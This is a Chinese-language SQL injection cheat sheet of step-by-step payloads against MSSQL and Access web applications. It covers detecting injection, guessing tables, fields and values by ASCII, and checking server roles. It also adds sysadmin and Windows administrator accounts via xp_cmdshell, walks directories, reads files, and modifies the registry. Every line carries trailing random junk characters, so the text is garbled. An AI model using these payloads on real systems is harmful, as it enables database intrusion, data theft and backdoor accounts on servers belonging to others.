1.判断是否有注入;and 1=1 ;and 1=2 &h}#HS>l
2.初步判断是否是mssql ;and user>0 ]vAz
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3.注入参数是字符'and [查询条件] and ''=' 3/P1!:g9
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' akmkyrz '&
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5.判断数据库系统 KqHyG
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;and (select count(*) from sysobjects)>0 mssql bTI|F]^!
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;and (select count(*) from msysobjects)>0 access dB{Q"!
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 b!+hH Hv:
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4j-Xi
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 n'"/KS+_
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9.(1)猜字段的ascii值(access) 1a/++4O.|
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 N"Z{5A
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(2)猜字段的ascii值(mssql) pJ>P[
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ez7A4>/
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10.测试权限结构(mssql) :@yEQ#nFp
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ."g`3tVK
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [:dY0r+
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- <]ox;-56
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- [DuttFX^x
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- -uS!\
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <|HV. O/!
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;and 1=(select IS_MEMBER('db_owner'));-- #`^}PuQ
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11.添加mssql和系统的帐户 G/E+L-N#`
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;exec master.dbo.sp_addlogin username;-- cVv=*81\
;exec master.dbo.sp_password null,username,password;-- AI2)g1m
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- hgG9m[?K
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;exec master.dbo.xp_cmdshell 'net user username password "x0^#AVg
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- &u."A3(
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- yZY \MB/
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- k t#fMd$
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12.(1)遍历目录 LVM%"sd?
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;create table dirs(paths varchar(100), id int) RMV/&85?y
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;insert dirs exec master.dbo.xp_dirtree 'c:\' :LQYo'@yB
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;and (select top 1 paths from dirs)>0 EU 6 oQ
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5DU6rks%
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(2)遍历目录 yPBZc h %-
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4"(Bu/24
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 _yx>TE2e
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 D/gw .XYL
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 n38p !oS
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <NY^M!
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13.mssql中的存储过程 76Cl\rV
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xp_regenumvalues 注册表根键, 子键 ?!:ha;n
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >>)b'c
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xp_regread 根键,子键,键值名 W\,s:6iqz
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 A`$%SVgFV^
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xp_regwrite 根键,子键, 值名, 值类型, 值 rU:`*b<
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 kCF>nt@
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 n
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xp_regdeletevalue 根键,子键,值名 kx{{_w
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .V/Rfq
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 sqwGsO$#
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